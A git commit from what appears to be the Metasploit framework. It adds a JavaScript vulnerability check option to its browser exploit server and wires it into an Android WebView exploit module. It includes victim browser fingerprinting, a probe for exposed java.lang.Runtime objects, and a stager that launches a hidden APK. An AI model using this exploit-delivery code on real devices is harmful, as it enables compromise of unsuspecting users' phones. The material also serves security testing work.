Adds a :vuln_test option to BES, just like in BAP.

I needed this to run a custom JS check for the Android
webview vuln when the exploit is served straight
through BES. The check already existed when using BAP,
so I tried to preserve that syntax, and also added a
:vuln_test_error as an optional error message.

This commit also does some mild refactoring of un-
useful behavior in BES.
This commit is contained in:
Joe Vennix 2014-10-01 23:34:31 -05:00
parent 0380c5e887
commit 5a8eca8946
No known key found for this signature in database
GPG Key ID: 127B05FB3E85A2B0
3 changed files with 86 additions and 59 deletions

View File

@ -89,8 +89,8 @@ module Exploit::Android
# The NDK stager is used to launch a hidden APK
def ndkstager(stagename, arch)
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
data = File.read(localfile, :mode => 'rb')
path = ['data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so']
data = File.read(File.join(Msf::Config::InstallRoot, *path), :mode => 'rb')
data.gsub!('PLOAD', stagename)
end

View File

@ -3,6 +3,7 @@
require 'erb'
require 'cgi'
require 'date'
require 'set'
require 'rex/exploitation/js'
require 'msf/core/exploit/jsobfu'
@ -23,43 +24,43 @@ module Msf
# this must be static between runs, otherwise the older cookies will be ignored
DEFAULT_COOKIE_NAME = '__ua'
PROXY_REQUEST_HEADER_SET = Set.new(
%w{
CLIENT_IP
FORWARDED
FORWARDED_FOR
FORWARDED_FOR_IP
HTTP_CLIENT_IP
HTTP_FORWARDED
HTTP_FORWARDED_FOR
HTTP_FORWARDED_FOR_IP
HTTP_PROXY_CONNECTION
HTTP_VIA
HTTP_X_FORWARDED
HTTP_X_FORWARDED_FOR
VIA
X_FORWARDED
X_FORWARDED_FOR
})
PROXY_REQUEST_HEADER_SET = Set.new(%w{
CLIENT_IP
FORWARDED
FORWARDED_FOR
FORWARDED_FOR_IP
HTTP_CLIENT_IP
HTTP_FORWARDED
HTTP_FORWARDED_FOR
HTTP_FORWARDED_FOR_IP
HTTP_PROXY_CONNECTION
HTTP_VIA
HTTP_X_FORWARDED
HTTP_X_FORWARDED_FOR
VIA
X_FORWARDED
X_FORWARDED_FOR
})
# Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = {
:source => 'source', # Either 'script' or 'headers'
:ua_name => 'ua_name', # Example: MSIE
:ua_ver => 'ua_ver', # Example: 8.0, 9.0
:os_name => 'os_name', # Example: Microsoft Windows
:os_flavor => 'os_flavor', # Example: XP, 7
:language => 'language', # Example: en-us
:arch => 'arch', # Example: x86
:proxy => 'proxy', # 'true' or 'false'
:silverlight => 'silverlight', # 'true' or 'false'
:office => 'office', # Example: "2007", "2010"
:java => 'java', # Example: 1.6, 1.6.0.0
:clsid => 'clsid', # ActiveX clsid. Also requires the :method key
:method => 'method', # ActiveX method. Also requires the :clsid key
:mshtml_build => 'mshtml_build', # mshtml build. Example: "65535"
:flash => 'flash' # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
}
REQUIREMENT_KEY_SET = Set.new([
:source, # Either 'script' or 'headers'
:ua_name, # Example: MSIE
:ua_ver, # Example: 8.0, 9.0
:os_name, # Example: Microsoft Windows
:os_flavor, # Example: XP, 7
:language, # Example: en-us
:arch, # Example: x86
:proxy, # 'true' or 'false'
:silverlight, # 'true' or 'false'
:office, # Example: "2007", "2010"
:java, # Example: 1.6, 1.6.0.0
:clsid, # ActiveX clsid. Also requires the :method key
:method, # ActiveX method. Also requires the :clsid key
:mshtml_build, # mshtml build. Example: "65535"
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
])
def initialize(info={})
super
@ -129,7 +130,7 @@ module Msf
# @return [Hash] A hash of requirements
#
def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)}
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
# Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end
@ -189,9 +190,12 @@ module Msf
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}")
expected = k != :vuln_test ? v : 'true'
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
if v.is_a? Regexp
if k == :vuln_test
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
elsif v.is_a? Regexp
bad_reqs << k if profile[k.to_sym] !~ v
elsif v.is_a? Proc
bad_reqs << k unless v.call(profile[k.to_sym])
@ -375,19 +379,20 @@ module Msf
window.onload = function() {
var osInfo = os_detect.getVersion();
var d = {
"<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
"<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
"<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
"<%=REQUIREMENT_KEY_SET[:java]%>" : misc_addons_detect.getJavaVersion(),
"<%=REQUIREMENT_KEY_SET[:silverlight]%>" : misc_addons_detect.hasSilverlight(),
"<%=REQUIREMENT_KEY_SET[:flash]%>" : misc_addons_detect.getFlashVersion()
"os_name" : osInfo.os_name,
"os_flavor" : osInfo.os_flavor,
"ua_name" : osInfo.ua_name,
"ua_ver" : osInfo.ua_version,
"arch" : osInfo.arch,
"java" : misc_addons_detect.getJavaVersion(),
"silverlight" : misc_addons_detect.hasSilverlight(),
"flash" : misc_addons_detect.getFlashVersion(),
"vuln_test" : <%= js_vuln_test %>
};
<% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = ie_addons_detect.getMsOfficeVersion();
d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString();
d['office'] = ie_addons_detect.getMsOfficeVersion();
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
<%
clsid = @requirements[:clsid]
method = @requirements[:method]
@ -497,6 +502,12 @@ module Msf
method(:on_request_exploit).call(cli, request, profile)
else
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
if bad_reqs.include?(:vuln_test)
error_string = (self.module_info['BrowserRequirements'] || {})[:vuln_test_error]
if error_string.present?
print_warning(error_string)
end
end
send_not_found(cli)
end
end
@ -555,5 +566,17 @@ module Msf
regenerate_payload(cli, platform, arch).encoded
end
# @return [String] custom Javascript to check if a vulnerability is present
# @return [nil] when no such test is specified by the module
def js_vuln_test
all_reqs = self.module_info['BrowserRequirements'] || {}
if all_reqs[:vuln_test].present?
code = all_reqs[:vuln_test] + ';return !!this.is_vuln;'
'Function(('+JSON.generate(:code => code)+').code)()'
else
'true'
end
end
end
end

View File

@ -12,18 +12,20 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Android
VULN_CHECK_JS = %Q|
for (i in top) {
try {
top[i].getClass().forName('java.lang.Runtime');
is_vuln = true; break;
} catch(e) {}
}
|
autopwn_info(
:os_flavor => 'Android',
:javascript => true,
:rank => ExcellentRanking,
:vuln_test => %Q|
for (i in top) {
try {
top[i].getClass().forName('java.lang.Runtime');
is_vuln = true; break;
} catch(e) {}
}
|
:vuln_test => VULN_CHECK_JS
)
def initialize(info = {})
@ -71,7 +73,9 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_flavor => 'Android'
:os_flavor => 'Android',
:vuln_test => VULN_CHECK_JS,
:vuln_test_error => 'No vulnerable Java objects were found in this web context.'
}
))